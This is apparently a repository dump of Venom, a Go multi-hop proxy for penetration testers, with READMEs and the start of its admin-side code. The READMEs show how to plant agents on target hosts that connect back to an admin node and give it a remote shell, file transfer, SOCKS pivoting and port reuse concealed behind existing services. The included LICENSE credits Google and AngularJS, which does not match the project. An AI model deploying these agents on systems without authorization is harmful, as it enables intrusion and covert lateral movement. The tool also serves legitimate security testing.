├── .gitignore
├── LICENSE
├── README-en.md
├── README.md
├── admin
├── admin.go
├── cli
│ ├── cli.go
│ └── interactive.go
└── dispather
│ ├── builtin.go
│ ├── forward.go
│ ├── handler.go
│ ├── proxy.go
│ └── sender.go
├── agent
├── agent.go
├── cli
│ ├── cli.go
│ ├── cli_iot.go
│ ├── cli_linux.go
│ └── cli_others.go
├── dispather
│ ├── forward.go
│ ├── handler.go
│ ├── proxy.go
│ ├── ssh.go
│ └── ssh_iot.go
└── init
│ ├── agent_iot.go
│ ├── agent_linux.go
│ └── agent_others.go
├── build.sh
├── crypto
├── aes.go
├── crypto.go
└── hash.go
├── docs
└── venom.png
├── global
├── global.go
└── global_iot.go
├── go.mod
├── go.sum
├── netio
├── init.go
├── init_iot.go
├── init_others.go
└── netio.go
├── node
├── buffer.go
├── global.go
├── init.go
├── net.go
├── node.go
└── route.go
├── protocol
└── protocol.go
├── scripts
└── port_reuse.py
└── utils
├── kmp.go
├── reuse_port.go
└── utils.go
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | .vscode
3 | .idea
4 | release
5 | debug
6 | TODO
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | The MIT License
2 |
3 | Copyright (c) 2010-2018 Google, Inc. http://angularjs.org
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in
13 | all copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | THE SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README-en.md:
--------------------------------------------------------------------------------
1 | ## Venom - A Multi-hop Proxy for Penetration Testers
2 |
3 | [简体中文](README.md) | [English](README-en.md)
4 |
5 | Venom is a multi-hop proxy tool developed for penetration testers using Go.
6 |
7 | You can use venom to easily proxy network traffic to a multi-layer intranet, and easily manage intranet nodes.
8 |
9 |
10 |
11 |
12 | > This tool is limited to security research and teaching, and the user bears all legal and related responsibilities caused by the use of this tool! The author does not assume any legal and related responsibilities!
13 |
14 |
15 | ## Features
16 |
17 | - network topology
18 | - multi-hop socks5 proxy
19 | - multi-hop port forward
20 | - port reuse (apache/mysql/...)
21 | - ssh tunnel
22 | - interactive shell
23 | - upload and download file
24 | - network traffic encryption
25 | - supports multiple platforms(Linux/Windows/MacOS) and multiple architectures(x86/x64/arm/mips)
26 |
27 | > Since the IoT device (arm/mips/... architecture) usually has limited resources, in order to reduce the size of the binary file, the binaries for the IoT environment do not support port reuse and ssh tunnel, and in order to reduce memory usage, the binaries only support less network concurrency and smaller buffers.
28 |
29 | ## Installation
30 |
31 | You can directly download the executable files from https://github.com/Dliv3/Venom/releases
32 |
33 | If you want to compile the project from source, you need to install **go >= 1.11**, then execute the following commands.
34 |
35 | ```
36 | go get -u github.com/Dliv3/Venom/...
37 |
38 | # $GOPATH is the environment variable configured when Go is installed. It can be viewed by the 'go env' command.
39 | cd $GOPATH/src/github.com/Dliv3/Venom
40 |
41 | # Compiled binary files are stored in the release folder in the current directory.
42 | ./build.sh
43 | ```
44 |
45 | ## Usage
46 |
47 | > Venom demo videos: https://www.youtube.com/playlist?list=PLtZO9vwOND91vZ7yCmlAvISmEl2iQKjdI
48 |
49 | ### 1. admin/agent command line parameters
50 |
51 | - **Both the admin node and the agent node can act as a server or client.**
52 |
53 | Admin listens on the port 9999, the agent connects to the admin:
54 |
55 | ```
56 | ./admin_macos_x64 -lport 9999
57 | ```
58 |
59 | ```
60 | ./agent_linux_x64 -rhost 192.168.0.103 -rport 9999
61 | ```
62 |
63 | Agent listens on the port 8888, the admin connects to the agent:
64 |
65 | ```
66 | ./agent_linux_x64 -lport 8888
67 | ```
68 |
69 | ```
70 | ./admin_macos_x64 -rhost 192.168.204.139 -rport 8888
71 | ```
72 |
73 | - **The agent node supports port reuse.**
74 |
75 | Agent provides two port reuse methods
76 |
77 | 1. Port reuse via SO_REUSEPORT and SO_REUSEADDR options
78 | 2. Port reuse via iptables (Linux platform only)
79 |
80 | The ports of most services can be reused on linux.
81 |
82 | The ports of services such as apache and mysql can be reused on Windows, and the ports of RDP, IIS, etc. can not be reused temporarily.
83 |
84 | The reused port can still provide its original service normally.
85 |
86 | **The first port reuse method**
87 |
88 | ```
89 | # Apache under windows environment:
90 | # Reuse apache 80 port, does not affect apache to provide normal http service
91 | # The value of -lhost is the local ip, and can't be 0.0.0.0. Otherwise, port reuse cannot be performed.
92 | ./agent.exe -lhost 192.168.204.139 -reuse-port 80
93 | ```
94 |
95 | ```
96 | ./admin_macos_x64 -rhost 192.168.204.139 -rport 80
97 | ```
98 | **The second port reuse method**
99 |
100 | ```
101 | # Apache under linux environment:
102 | # Requires root privileges
103 | sudo ./agent_linux_x64 -lport 8080 -reuse-port 80
104 | ```
105 |
106 | This method will add the iptables rules, iptables forwards the traffic of the `reuse-port` to the `lport`, and then distribute the traffic by the agent.
107 |
108 | One thing to note is that if the `sigterm`or `sigint` ends the agent (kill or ctrl-c), the agent will automatically clean up the iptables rules. If the agent is killed by `kill -9`, the iptables rule cannot be automatically cleaned up and needs to be cleaned manually because the agent program cannot deal with the `sigkill` signal.
109 |
110 | In order to prevent the iptables rules from being automatically cleaned up and the penetration tester cannot access the 80-port service, the second port reuse method uses `iptables -m recent` to control whether the iptables forwarding rules are enabled through special tcp packets.
111 |
112 | Reference https://threathunter.org/topic/594545184ea5b2f5516e2033
113 |
114 | ```
115 | # Start the iptables port reuse rules set by the agent on the linux host
116 | # If rhost is on the intranet, you can use the socks5 to proxy traffic. See the following for the use of the socks5 proxy.
117 | python scripts/port_reuse.py --start --rhost 192.168.204.135 --rport 80
118 |
119 | # Connect to the agent
120 | ./admin_macos_x64 -rhost 192.168.204.135 -rport 80
121 |
122 | # If you want to turn off iptables port reuse rules
123 | python scripts/port_reuse.py --stop --rhost 192.168.204.135 --rport 80
124 | ```
125 | - **network traffic encryption**
126 |
127 | Users can specify a password with the `-passwd` option, which is used to generate the key required for AES encryption.
128 |
129 | ```
130 | # Specify the password as dlive@dubhe with -passwd
131 | ./admin_macos_x64 -lport 8889 -passwd dlive@dubhe
132 |
133 | # The agent specifies the same password to connect with the admin node
134 | ./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe
135 | ```
136 |
137 | ### 2. admin node built-in commands
138 |
139 | - **help** (Print help information)
140 |
141 | ```
142 | (admin node) >>> help
143 |
144 | help Help information.
145 | exit Exit.
146 | show Display network topology.
147 | getdes View description of the target node.
148 | setdes [info] Add a description to the target node.
149 | goto [id] Select id as the target node.
150 | listen [lport] Listen on a port on the target node.
151 | connect [rhost] [rport] Connect to a new node through the target node.
152 | sshconnect [user@ip:port] [dport] Connect to a new node through ssh tunnel.
153 | shell Start an interactive shell on the target node.
154 | upload [local_file] [remote_file] Upload files to the target node.
155 | download [remote_file] [local_file] Download files from the target node.
156 | socks [lport] Start a socks5 server.
157 | lforward [lhost] [sport] [dport] Forward a local sport to a remote dport.
158 | rforward [rhost] [sport] [dport] Forward a remote sport to a local dport.
159 |
160 | ```
161 |
162 | - **show** (Display network topology)
163 |
164 | The letter 'A' represents the admin node, and the number represents the agent node.
165 |
166 | The following topology diagram shows that node1 connects to the admin node, node2 and node4 connect to 1 node, and node3 connects to node2.
167 |
168 | ```
169 | (node 1) >>> show
170 | A
171 | + -- 1
172 | + -- 2
173 | + -- 3
174 | + -- 4
175 | ```
176 |
177 | Note that to operate on a newly joined node, first run the show command on the admin node to synchronize the network topology and node number.
178 |
179 |
180 | - **goto** (You want to operate a node)
181 |
182 | ```
183 | (admin node) >>> goto 1
184 | (node 1) >>>
185 | ```
186 | After going to a node, you can use the commands that will be described below.
187 |
188 | - **getdes/setdes** (Get/set node information description)
189 |
190 | ```
191 | (node 1) >>> setdes linux x64 blahblahblah
192 | (node 1) >>> getdes
193 | linux x64 blahblahblah
194 | ```
195 |
196 | - **connect/listen/sshconnect** (Connect to another node/Accept connections from other nodes)
197 |
198 | Node1 connects to port 9999 of 192.168.0.103.
199 | ```
200 | (node 1) >>> connect 192.168.0.103 9999
201 | connect to 192.168.0.103 9999
202 | successfully connect to the remote port!
203 | (node 1) >>> show
204 | A
205 | + -- 1
206 | + -- 2
207 | ```
208 |
209 | Listening to port 9997 on the node1.
210 | Then run `./agent_linux_x64 -rhost 192.168.204.139 -rport 9997` on another machine to connect to node1.
211 |
212 | ```
213 | (node 1) >>> listen 9997
214 | listen 9997
215 | the port 9997 is successfully listening on the remote node!
216 | (node 1) >>> show
217 | A
218 | + -- 1
219 | + -- 2
220 | + -- 3
221 | ```
222 |
223 | Execute `./agent_linux_x64 -lport 9999` on 192.168.0.104, then node3 connects to port 9998 of 192.168.0.104 through the ssh tunnel using sshconnect command.
224 | You can use ssh or private key for ssh authentication.
225 |
226 | ```
227 | (node 1) >>> goto 3
228 | (node 3) >>> sshconnect root@192.168.0.104:22 9999
229 | use password (1) / ssh key (2)? 2
230 | file path of ssh key: /Users/dlive/.ssh/id_rsa
231 | connect to target host's 9999 through ssh tunnel (root@192.168.0.104:22).
232 | ssh successfully connects to the remote node!
233 | (node 3) >>> show
234 | A
235 | + -- 1
236 | + -- 2
237 | + -- 3
238 | + -- 4
239 | ```
240 |
241 | - **shell** (Get an interactive shell of the target node)
242 |
243 | ```
244 | (node 1) >>> shell
245 | You can execute commands in this shell :D, 'exit' to exit.
246 | bash: no job control in this shell
247 | bash-3.2$ whoami
248 | whoami
249 | dlive
250 | bash-3.2$ exit
251 | exit
252 | exit
253 | ```
254 |
255 | - **upload/download** (Upload/download files from the target node)
256 |
257 | Upload local /tmp/test.pdf to node1's /tmp/test2.pdf
258 |
259 | ```
260 | (node 1) >>> upload /tmp/test.pdf /tmp/test2.pdf
261 | upload /tmp/test.pdf to node 1: /tmp/test2.pdf
262 | this file is too large(>100M), do you still want to upload it? (y/n)y
263 | 154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
264 | upload file successfully!
265 | ```
266 | Download node1's file /tmp/test2.pdf to your local /tmp/test3.pdf
267 | ```
268 | (node 1) >>> download /tmp/test2.pdf /tmp/test3.pdf
269 | download /tmp/test2.pdf from node 1: /tmp/test3.pdf
270 | this file is too large(>100M), do you still want to download it? (y/n)y
271 | 154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
272 | download file successfully!
273 | ```
274 |
275 | - **socks** (Establish a socks5 proxy on the target node)
276 |
277 | ```
278 | (node 1) >>> socks 7777
279 | a socks5 proxy of the target node has started up on local port 7777
280 | ```
281 |
282 | After executing the socks command, a port will be opened locally on the admin node, such as 7777 above, using 7777 to perform the socks5 proxy.
283 |
284 | - **lforward/rforward** (Forward local port to remote / forward remote port to local)
285 |
286 | Lforward forwards the local 8888 port of the admin node to the 8888 port of node1.
287 |
288 | ```
289 | (node 1) >>> lforward 127.0.0.1 8888 8888
290 | forward local network 127.0.0.1 port 8888 to remote port 8888
291 | ```
292 |
293 | Rforward forwards the 192.168.204.103 port 8889 of the node1 network to the local 8889 port of the admin node.
294 | ```
295 | (node 1) >>> rforward 192.168.204.103 8889 8889
296 | forward remote network 192.168.204.103 port 8889 to local port 8889
297 | ```
298 |
299 | ### 3. attention
300 |
301 | - Only one admin node is supported at this stage to manage the network.
302 | - To operate on a newly joined node, first run the show command on the admin node to synchronize the network topology and node number.
303 | - When using the second port reuse method (based on iptables), you need to use `script/port_reuse.py` to enable the port reuse rules set by the agent on the target host.
304 |
305 | ## TODO
306 |
307 | - [ ] combined with regeorg
308 | - [ ] multiple administrator nodes
309 | - [x] network traffic encryption
310 | - [ ] support socks5 udp
311 | - [ ] RESTful API
312 | - [ ] combined with meterpreter (to be discussed)
313 | - [ ] turn off socks5 and port forwarding
314 |
315 | ## Acknowledgement
316 |
317 | - [rootkiter#Termite](https://github.com/rootkiter/Termite)
318 | - [ring04h#s5.go](https://github.com/ring04h/s5.go)
319 | - [n1nty#远程遥控 IPTables 进行端口复用](https://threathunter.org/topic/594545184ea5b2f5516e2033)
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## Venom - A Multi-hop Proxy for Penetration Testers
2 |
3 | [简体中文](README.md) | [English](README-en.md)
4 |
5 | Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。
6 |
7 | Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。
8 |
9 | 渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。
10 |
11 |
12 |
13 | > 此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任!
14 |
15 |
16 | ## 特性
17 |
18 | - 可视化网络拓扑
19 | - 多级socks5代理
20 | - 多级端口转发
21 | - 端口复用 (apache/mysql/...)
22 | - ssh隧道
23 | - 交互式shell
24 | - 文件的上传和下载
25 | - 节点间通信加密
26 | - 支持多种平台(Linux/Windows/MacOS)和多种架构(x86/x64/arm/mips)
27 |
28 | > 由于IoT设备(arm/mips/...架构)通常资源有限,为了减小二进制文件的大小,该项目针对IoT环境编译的二进制文件不支持端口复用和ssh隧道这两个功能,并且为了减小内存使用限制了网络并发数和缓冲区大小。
29 |
30 | ## 安装
31 |
32 | 您可以直接下载使用[release](https://github.com/Dliv3/Venom/releases)中编译好的可执行文件
33 |
34 | 如果您想从源码编译该项目, 需要安装 **go >= 1.11**, 然后执行下面的命令
35 |
36 | ```
37 | go get -u github.com/Dliv3/Venom/...
38 |
39 | # $GOPATH是安装Go时配置的环境变量,可通过go env命令查看
40 | cd $GOPATH/src/github.com/Dliv3/Venom
41 |
42 | # 编译好的二进制文件存放在当前目录下的release文件夹中
43 | ./build.sh
44 | ```
45 |
46 | ## 使用
47 |
48 | > Youtube演示视频: https://www.youtube.com/playlist?list=PLtZO9vwOND91vZ7yCmlAvISmEl2iQKjdI
49 |
50 | ### 1. admin/agent命令行参数
51 |
52 | - **admin节点和agent节点均可监听连接也可发起连接**
53 |
54 | admin监听端口,agent发起连接:
55 |
56 | ```
57 | ./admin_macos_x64 -lport 9999
58 | ```
59 |
60 | ```
61 | ./agent_linux_x64 -rhost 192.168.0.103 -rport 9999
62 | ```
63 |
64 | agent监听端口,admin发起连接:
65 |
66 | ```
67 | ./agent_linux_x64 -lport 8888
68 | ```
69 |
70 | ```
71 | ./admin_macos_x64 -rhost 192.168.204.139 -rport 8888
72 | ```
73 |
74 | - **agent节点支持端口复用**
75 |
76 | agent提供了两种端口复用方法
77 |
78 | 1. 通过SO_REUSEPORT和SO_REUSEADDR选项进行端口复用
79 | 2. 通过iptables进行端口复用(仅支持Linux平台)
80 |
81 | 通过venom提供的端口复用功能,在windows上可以复用apache、mysql等服务的端口,暂时无法复用RDP、IIS等服务端口,在linux上可以复用多数服务端口。被复用的端口仍可正常对外提供其原有服务。
82 |
83 | **第一种端口复用方法**
84 |
85 | ```
86 | # 以windows下apache为例
87 | # 复用apache 80端口,不影响apache提供正常的http服务
88 | # -lhost 的值为本机ip,不能写0.0.0.0,否则无法进行端口复用
89 | ./agent.exe -lhost 192.168.204.139 -reuse-port 80
90 | ```
91 |
92 | ```
93 | ./admin_macos_x64 -rhost 192.168.204.139 -rport 80
94 | ```
95 |
96 | **第二种端口复用方法**
97 |
98 | ```
99 | # 以linux下apache为例
100 | # 需要root权限
101 | sudo ./agent_linux_x64 -lport 8080 -reuse-port 80
102 | ```
103 |
104 | 这种端口复用方法会在本机设置iptables规则,将`reuse-port`的流量转发到`lport`,再由agent分发流量
105 |
106 | 需要注意一点,如果通过`sigterm`,`sigint`信号结束程序(kill或ctrl-c),程序可以自动清理iptables规则。如果agent被`kill -9`杀掉则无法自动清理iptables规则,需要手动清理,因为agent程序无法处理`sigkill`信号。
107 |
108 | 为了避免iptables规则不能自动被清理导致渗透测试者无法访问80端口服务,所以第二种端口复用方法采用了`iptables -m recent`通过特殊的tcp包控制iptables转发规则是否开启。
109 |
110 | 这里的实现参考了 https://threathunter.org/topic/594545184ea5b2f5516e2033
111 |
112 | ```
113 | # 启动agent在linux主机上设置的iptables规则
114 | # 如果rhost在内网,可以使用socks5代理脚本流量,socks5代理的使用见下文
115 | python scripts/port_reuse.py --start --rhost 192.168.204.135 --rport 80
116 |
117 | # 连接agent节点
118 | ./admin_macos_x64 -rhost 192.168.204.135 -rport 80
119 |
120 | # 如果要关闭转发规则
121 | python scripts/port_reuse.py --stop --rhost 192.168.204.135 --rport 80
122 | ```
123 |
124 | - **节点间通信加密**
125 |
126 | Venom提供节点间通信加密功能,用户可通过`-passwd`选项指定密码,该密码用于生成AES加密所需的密钥。
127 |
128 | ```
129 | # 通过-passwd指定密码为dlive@dubhe
130 | ./admin_macos_x64 -lport 8889 -passwd dlive@dubhe
131 |
132 | # agent指定相同的密码与admin节点连接
133 | ./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe
134 | ```
135 |
136 | ### 2. admin节点内置命令
137 |
138 | - **help** 打印帮助信息
139 |
140 | ```
141 | (admin node) >>> help
142 |
143 | help Help information.
144 | exit Exit.
145 | show Display network topology.
146 | getdes View description of the target node.
147 | setdes [info] Add a description to the target node.
148 | goto [id] Select id as the target node.
149 | listen [lport] Listen on a port on the target node.
150 | connect [rhost] [rport] Connect to a new node through the target node.
151 | sshconnect [user@ip:port] [dport] Connect to a new node through ssh tunnel.
152 | shell Start an interactive shell on the target node.
153 | upload [local_file] [remote_file] Upload files to the target node.
154 | download [remote_file] [local_file] Download files from the target node.
155 | socks [lport] Start a socks5 server.
156 | lforward [lhost] [sport] [dport] Forward a local sport to a remote dport.
157 | rforward [rhost] [sport] [dport] Forward a remote sport to a local dport.
158 |
159 | ```
160 |
161 | - **show** 显示网络拓扑
162 |
163 | A表示admin节点,数字表示agent节点
164 |
165 | 下面的拓扑图表示,admin节点下连接了1节点,1节点下连接了2、4节点,2节点下连接了3节点
166 |
167 | ```
168 | (node 1) >>> show
169 | A
170 | + -- 1
171 | + -- 2
172 | + -- 3
173 | + -- 4
174 | ```
175 | 注意要对新加入的节点进行操作,需要首先在admin节点运行show命令同步网络拓扑和节点编号
176 |
177 | - **goto** 操作某节点
178 |
179 | ```
180 | (admin node) >>> goto 1
181 | (node 1) >>>
182 | ```
183 | 在goto到某节点之后你就可以使用下面将要介绍的命令
184 |
185 | - **getdes/setdes** 获取/设置节点信息描述
186 |
187 | ```
188 | (node 1) >>> setdes linux x64 blahblahblah
189 | (node 1) >>> getdes
190 | linux x64 blahblahblah
191 | ```
192 |
193 | - **connect/listen/sshconnect** 节点间互连
194 |
195 | node 1节点连接192.168.0.103的9999端口
196 |
197 | ```
198 | (node 1) >>> connect 192.168.0.103 9999
199 | connect to 192.168.0.103 9999
200 | successfully connect to the remote port!
201 | (node 1) >>> show
202 | A
203 | + -- 1
204 | + -- 2
205 | ```
206 | 在node1节点监听9997端口, 然后在另一台机器上运行`./agent_linux_x64 -rhost 192.168.204.139 -rport 9997` 连接node1
207 | ```
208 | (node 1) >>> listen 9997
209 | listen 9997
210 | the port 9997 is successfully listening on the remote node!
211 | (node 1) >>> show
212 | A
213 | + -- 1
214 | + -- 2
215 | + -- 3
216 | ```
217 | 在192.168.0.104上执行`./agent_linux_x64 -lport 9999`, node3通过sshconnect建立ssh隧道连接192.168.0.104的9999端口。你可以使用密码或者是ssh私钥进行认证。
218 | ```
219 | (node 1) >>> goto 3
220 | (node 3) >>> sshconnect root@192.168.0.104:22 9999
221 | use password (1) / ssh key (2)? 2
222 | file path of ssh key: /Users/dlive/.ssh/id_rsa
223 | connect to target host's 9999 through ssh tunnel (root@192.168.0.104:22).
224 | ssh successfully connects to the remote node!
225 | (node 3) >>> show
226 | A
227 | + -- 1
228 | + -- 2
229 | + -- 3
230 | + -- 4
231 | ```
232 |
233 | - **shell** 获取节点的交互式shell
234 |
235 | ```
236 | (node 1) >>> shell
237 | You can execute commands in this shell :D, 'exit' to exit.
238 | bash: no job control in this shell
239 | bash-3.2$ whoami
240 | whoami
241 | dlive
242 | bash-3.2$ exit
243 | exit
244 | exit
245 | ```
246 |
247 | - **upload/download** 向节点上传/从节点下载文件
248 |
249 | 将本地/tmp/test.pdf上传到node1的/tmp/test2.pdf
250 |
251 | ```
252 | (node 1) >>> upload /tmp/test.pdf /tmp/test2.pdf
253 | upload /tmp/test.pdf to node 1: /tmp/test2.pdf
254 | this file is too large(>100M), do you still want to upload it? (y/n)y
255 | 154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
256 | upload file successfully!
257 | ```
258 | 将node1的文件/tmp/test2.pdf下载到本地的/tmp/test3.pdf
259 | ```
260 | (node 1) >>> download /tmp/test2.pdf /tmp/test3.pdf
261 | download /tmp/test2.pdf from node 1: /tmp/test3.pdf
262 | this file is too large(>100M), do you still want to download it? (y/n)y
263 | 154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
264 | download file successfully!
265 | ```
266 |
267 | - **socks** 建立到某节点的socks5代理
268 |
269 | ```
270 | (node 1) >>> socks 7777
271 | a socks5 proxy of the target node has started up on local port 7777
272 | ```
273 |
274 | 执行成功socks命令之后,会在admin节点本地开启一个端口,如上述的7777,使用7777即可进行socks5代理
275 |
276 | - **lforward/rforward** 将本地端口转发到远程/将远程端口转发到本地
277 |
278 | lforward将admin节点本地的8888端口转发到node1的8888端口
279 |
280 | ```
281 | (node 1) >>> lforward 127.0.0.1 8888 8888
282 | forward local network 127.0.0.1 port 8888 to remote port 8888
283 | ```
284 |
285 | rforward 将node1网段的192.168.204.103端口8889转发到admin节点本地的8889端口
286 | ```
287 | (node 1) >>> rforward 192.168.204.103 8889 8889
288 | forward remote network 192.168.204.103 port 8889 to local port 8889
289 | ```
290 |
291 | ### 3. 注意事项
292 |
293 | - 现阶段仅支持单个admin节点对网络进行管理
294 | - 要对新加入的节点进行操作,需要首先在admin节点运行show命令同步网络拓扑和节点编号
295 | - 当使用第二种端口复用方法(基于iptables)时,你需要使用`script/port_reuse.py`去启用agent在目标主机上设置的端口复用规则。
296 |
297 | ## TODO
298 |
299 | - [ ] 与regeorg联动
300 | - [ ] 多个admin节点同时对网络进行管理
301 | - [x] 节点间通信流量加密
302 | - [ ] socks5对udp的支持
303 | - [ ] 与meterpreter联动 (待定)
304 | - [ ] RESTful API
305 | - [ ] 关闭代理与端口转发
306 |
307 | ## 致谢
308 |
309 | - [rootkiter#Termite](https://github.com/rootkiter/Termite)
310 | - [ring04h#s5.go](https://github.com/ring04h/s5.go)
311 | - [n1nty#远程遥控 IPTables 进行端口复用](https://threathunter.org/topic/594545184ea5b2f5516e2033)
312 |
313 |
--------------------------------------------------------------------------------
/admin/admin.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "runtime"
6 |
7 | "github.com/Dliv3/Venom/admin/cli"
8 | "github.com/Dliv3/Venom/admin/dispather"
9 | "github.com/Dliv3/Venom/crypto"
10 | "github.com/Dliv3/Venom/netio"
11 | "github.com/Dliv3/Venom/node"
12 | )
13 |
14 | func main() {
15 |
16 | runtime.GOMAXPROCS(runtime.NumCPU())
17 |
18 | cli.ParseArgs()
19 | fmt.Println("Venom Admin Node Start...")
20 | cli.ShowBanner()
21 |
22 | // fmt.Println(node.CurrentNode.HashID)
23 |
24 | node.CurrentNode.IsAdmin = 1
25 | crypto.InitEncryption(cli.Args.Password)
26 | node.CurrentNode.InitCommandBuffer()
27 | node.CurrentNode.InitDataBuffer()
28 |
29 | dispather.InitAdminHandler()
30 |
31 | if cli.Args.Mode == cli.CONNECT_MODE {
32 | netio.InitNode(
33 | "connect",
34 | fmt.Sprintf("%s:%d", cli.Args.RemoteIP, uint16(cli.Args.RemotePort)),
35 | dispather.AdminClient, false, 0)
36 | } else if cli.Args.Mode == cli.LISTEN_MODE {
37 | netio.InitNode(
38 | "listen",
39 | fmt.Sprintf("0.0.0.0:%d", uint16(cli.Args.LocalPort)),
40 | dispather.AdminServer, false, 0)
41 | }
42 | cli.Interactive()
43 | }
44 |
--------------------------------------------------------------------------------
/admin/cli/cli.go:
--------------------------------------------------------------------------------
1 | package cli
2 |
3 | import (
4 | "flag"
5 | "fmt"
6 | "os"
7 | "runtime"
8 | )
9 |
10 | // COMMAND LINE INTERFACE
11 |
12 | const (
13 | NORMAL_MODE = 0
14 | LISTEN_MODE = 1
15 | CONNECT_MODE = 2
16 | )
17 |
18 | type Option struct {
19 | LocalPort int
20 | RemoteIP string
21 | RemotePort int
22 | Mode int
23 | Password string
24 | }
25 |
26 | // Args
27 | var Args Option
28 |
29 | func init() {
30 | flag.IntVar(&Args.LocalPort, "lport", 0, "Listen a local `port`.")
31 | flag.StringVar(&Args.RemoteIP, "rhost", "", "Remote `ip` address.")
32 | flag.IntVar(&Args.RemotePort, "rport", 0, "The `port` on remote host.")
33 | flag.StringVar(&Args.Password, "passwd", "", "The `password` used in encrypted communication. (optional)")
34 | // change default Usage
35 | flag.Usage = usage
36 | }
37 |
38 | func usage() {
39 | ShowBanner()
40 | fmt.Fprintf(os.Stderr, `Venom version: 1.1
41 |
42 | Usage:
43 | $ ./venom_admin
44 | $ ./venom_admin -lport [port]
45 | $ ./venom_admin -rhost [ip] -rport [port]
46 |
47 | Options:
48 | `)
49 | flag.PrintDefaults()
50 | }
51 |
52 | // ParseArgs is a function aim to parse the command line args
53 | func ParseArgs() {
54 | flag.Parse()
55 |
56 | if Args.LocalPort == 0 && Args.RemoteIP != "" && Args.RemotePort != 0 {
57 | // connect to remote port
58 | Args.Mode = CONNECT_MODE
59 | return
60 | }
61 |
62 | if Args.LocalPort != 0 && Args.RemoteIP == "" && Args.RemotePort == 0 {
63 | // listen a local port
64 | Args.Mode = LISTEN_MODE
65 | return
66 | }
67 |
68 | if Args.RemoteIP == "" && Args.RemotePort == 0 && Args.LocalPort == 0 {
69 | Args.Mode = NORMAL_MODE
70 | return
71 | }
72 |
73 | // error
74 | flag.Usage()
75 | os.Exit(0)
76 | }
77 |
78 | func ShowBanner() {
79 | if runtime.GOOS == "windows" {
80 | PrintWindowsBanner()
81 | } else {
82 | PrintBanner()
83 | }
84 | fmt.Println()
85 | }
86 |
87 | func PrintWindowsBanner() {
88 | fmt.Printf(`
89 | ____ ____ { v1.1 author: Dlive }
90 | \ \ / /____ ____ ____ _____
91 | \ Y // __ \ / \ / \ / \
92 | \ /\ ___/| | ( <_> ) Y Y \
93 | \___/ \___ >___| /\____/|__|_| /
94 | \/ \/ \/
95 | `)
96 | }
97 |
98 | // ShowBanner http://patorjk.com/software/taag/#p=display&h=3&f=Bloody&t=venom
99 | func PrintBanner() {
100 | fmt.Printf("\x1b[0;34m%s \x1b[0m", `
101 |
102 | ██▒ █▓█████ ███▄ █ ▒█████ ███▄ ▄███▓
103 | ▓██░ █▓█ ▀ ██ ▀█ █▒██▒ ██▓██▒▀█▀ ██▒
104 | ▓██ █▒▒███ ▓██ ▀█ ██▒██░ ██▓██ ▓██░
105 | ▒██ █░▒▓█ ▄▓██▒ ▐▌██▒██ ██▒██ ▒██
106 | ▒▀█░ ░▒████▒██░ ▓██░ ████▓▒▒██▒ ░██▒
107 | ░ ▐░ ░░ ▒░ ░ ▒░ ▒ ▒░ ▒░▒░▒░░ ▒░ ░ ░
108 | ░ ░░ ░ ░ ░ ░░ ░ ▒░ ░ ▒ ▒░░ ░ ░
109 | ░░ ░ ░ ░ ░░ ░ ░ ▒ ░ ░
110 | ░ ░ ░ ░ ░ ░ ░
111 | ░
112 | { v1.1 author: Dlive }
113 | `)
114 | }
115 |
116 | // ShowUsage
117 | func ShowUsage() {
118 | fmt.Println(`
119 | help Help information.
120 | exit Exit.
121 | show Display network topology.
122 | getdes View description of the target node.
123 | setdes [info] Add a description to the target node.
124 | goto [id] Select id as the target node.
125 | listen [lport] Listen on a port on the target node.
126 | connect [rhost] [rport] Connect to a new node through the target node.
127 | sshconnect [user@ip:port] [dport] Connect to a new node through ssh tunnel.
128 | shell Start an interactive shell on the target node.
129 | upload [local_file] [remote_file] Upload files to the target node.
130 | download [remote_file] [local_file] Download files from the target node.
131 | socks [lport] Start a socks5 server.
132 | lforward [lhost] [sport] [dport] Forward a local sport to a remote dport.
133 | rforward [rhost] [sport] [dport] Forward a remote sport to a local dport.
134 | `)
135 | }
136 |
--------------------------------------------------------------------------------
/admin/cli/interactive.go:
--------------------------------------------------------------------------------
1 | package cli
2 |
3 | import (
4 | "bufio"
5 | "fmt"
6 | "io/ioutil"
7 | "net"
8 | "os"
9 | "strconv"
10 | "strings"
11 |
12 | "github.com/Dliv3/Venom/admin/dispather"
13 | "github.com/Dliv3/Venom/node"
14 | "github.com/Dliv3/Venom/utils"
15 | )
16 |
17 | // admin节点想要操作的对端节点的ID,主要用于goto命令
18 | var currentPeerNodeHashID string
19 |
20 | // need code refactoring
21 | func isAdmin() bool {
22 | if currentPeerNodeHashID == node.CurrentNode.HashID {
23 | return true
24 | }
25 | return false
26 | }
27 |
28 | // need code refactoring
